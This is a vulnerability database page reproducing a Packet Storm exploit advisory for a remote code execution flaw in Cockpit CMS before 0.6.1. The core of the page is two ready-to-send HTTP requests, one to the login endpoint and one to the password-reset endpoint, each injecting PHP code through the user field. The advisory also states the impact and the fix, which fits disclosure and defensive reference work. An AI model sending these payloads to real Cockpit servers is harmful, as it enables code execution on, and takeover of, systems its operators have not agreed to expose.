Lucene search
K

Cockpit CMS Remote Code Execution

🗓️ 08 Jan 2021 00:00:00Reported by Rafael ResendeType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 362 Views

Cockpit CMS version < 0.6.1 allows remote code execution via registerCriteriaFunction in lib/MongoLite/Database.php. Disclosed 2020-01-06

Code
`# Cockpit CMS 0.6.1 - Remote Code Execution  
# Product: Cockpit CMS (https://getcockpit.com)  
# Version: Cockpit CMS < 0.6.1  
# Vulnerability Type: PHP Code Execution  
# Exploit Author: Rafael Resende  
# Attack Type: Remote  
# Vulnerability Description  
# Cockpit before 0.6.1 allows an attacker to inject custom PHP code and achieve Remote Command Execution via registerCriteriaFunction in lib/MongoLite/Database.php. Disclosed 2020-01-06.  
  
# Exploit Login  
POST /auth/check HTTP/1.1  
Host: example.com  
User-Agent: Mozilla/5.0  
Content-Type: application/json; charset=UTF-8  
Content-Length: 52  
Origin: https://example.com  
  
{"auth":{"user":"test'.phpinfo().'","password":"b"}}  
  
# Exploit Password reset  
POST /auth/requestreset HTTP/1.1  
Host: example.com  
User-Agent: Mozilla/5.0  
Content-Type: application/json; charset=UTF-8  
Content-Length: 28  
Origin: https://example.com  
  
{"user":"test'.phpinfo().'"}  
  
## Impact  
Allows attackers to execute malicious codes to get access to the server.  
  
## Fix  
Update to versions >= 0.6.1  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation